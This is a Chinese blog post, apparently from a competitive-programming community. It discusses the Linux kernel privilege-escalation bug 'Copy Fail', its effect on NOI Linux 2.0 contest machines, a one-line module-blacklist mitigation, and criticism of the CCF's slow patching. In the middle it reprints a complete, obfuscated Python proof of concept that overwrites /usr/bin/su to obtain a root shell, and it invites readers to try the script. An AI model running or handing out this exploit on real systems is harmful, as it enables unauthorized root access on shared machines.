读 Copy Fail 有感

· · 科技·工程

五一是劳动节,是学生弯道超车的时候,不要做与学习无关的事情。

……

我无言以对。

又一篇科技区文章来到了文章区首页。因此,我全然不顾前一天拜访亲戚的疲惫,立刻打开了电脑进行阅读。

该漏洞名为 Copy Fail。对漏洞基本内容和技术细节感兴趣的同学,可以分别浏览这两篇文章。其中,第二篇是该漏洞的发现者 Xint Code 为该漏洞单独创建的信息网站。

此处,根据 DeepSeek 4 Pro 以及上述第二篇文章提供的信息,在 MrPython 发布文章的基础上,我们得以获取更详细的细节。

被该漏洞影响的发行版使用 Linux 内核 4.14 到 6.18.21(LTS)、4.14 到 6.19.11(Stable)。NOI Linux 2.0 基于 Ubuntu 20.04.1 开发,使用内核版本为 5.4.0-42-generic,因此原版发布的 NOI Linux 2.0 受该漏洞影响。

在该漏洞的 GitHub Repo 中,我们可以获取用于测试该漏洞的 Python 脚本,其内容如下。

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

我的 Arch Linux 笔记本使用内核版本为 6.19.14-arch1-1,因此不受该漏洞影响,测试代码不会在不输入密码的情况下取得 root 权限。

读者可以自行在本地测试该漏洞的效果。显然,该漏洞仅作用于 Linux。可能作用于 WSL。

写完了五一作业或因集训而不需要写五一作业的同学可以尝试借助 AI 或漏洞文档理解该漏洞的原理。漏洞原理并不是本文的重点。

在这篇文章中,我表达了对导致 cyffff 未能 AK CSP-S 2025 的编译器优化漏洞的不满。我本想直接向 CCF 反馈该问题,但受制于【】向我长期灌输的“不做出头鸟”理念,我未能踏出这一步。最终向 CCF 发送邮件的是 FlowerRed,他在其邮件中引用了我的文章内容,在此再次向他表达感谢和敬意。而在 FlowerRed 随后发布的这篇文章中,CCF(或许)暗示了 NOI Linux 3.0 的存在,并向 FlowerRed 发出了成为新系统内测人员的邀请。至于这个邀请到底是真实的邀请还是一张单程机票,我无从得知,在此不加以揣测。

通过阅读漏洞文档和询问 DeepSeek 4 Pro,我们可以得知,对于最主要受到影响的考试,即 NOI 和 WC,有以下的方法修复漏洞。

这令人啼笑皆非。但不可否认,按照目前一部分选手的游记所提到的内容,在 CCF 部分活动中志愿者的技术水平完全是未知数。在此情况下,这是最简单、直接、没有技术含量且可以完全解决问题的方法。

该方法不难实现,只需要一行指令:

echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/10-copy-fail.conf

并重启电脑即可。

然而,我们提到过 CCF 部分活动的志愿者技术水平是未知数。在此条件下,我们不得不怀疑志愿者是否知晓这个漏洞,是否能够通过这行指令修复漏洞,是否知道应重启电脑使该修复生效。

同样的,我们并不知晓 CCF 会不会在接下来的赛事中给 NOI Linux 2.0 打上这个补丁。自 2021 年 NOI Linux 2.0 发布以来,CCF 没有公开发布任何对该系统打上补丁的版本。的确,任何有 Linux 使用经验的人都应该知道如何更新 Linux 版本,但 Ubuntu 20.04.1 LTS 的标准支持已经在 2025 年 5 月 31 日结束,想要收到对该版本的 Copy Fail 漏洞很可能需要 Ubuntu Pro 订阅。

很显然,想要在技术层面上彻底扼杀该问题,对所有考生和活动组织方都最好的解决方法是显然的。

Ubuntu 26.04 LTS,代号 Resolute Raccoon,已于 2026 年 4 月 23 日正式发布,Linux 内核版本为 7.0,且使用 GCC 15。哈人哦,我的 Arch Linux 笔记本都没用上 7.0 内核。

哦,等等,原来我写这篇文章的时候 Arch Linux 已经有 Linux 内核 7.0.3 了,等我更新一下。

更新完了。

根据 NOI Linux 2.0 的发布时间以及目前 CCF 的反应速度,预计基于 Ubuntu 26.04 的 NOI Linux 3.0 将会在明年 7 月左右推出。很好,那个时候我已经不可能搞 OI 了。

很显然,GCC 15 满足新时代的 C++ 编程要求,有更完善的漏洞修补。更新到这种版本的系统,再更新一下 C++ 标准(至少 C++20),理论上可以更加一劳永逸。

但是,到目前为止,这一切都是梦啊……

Wake up.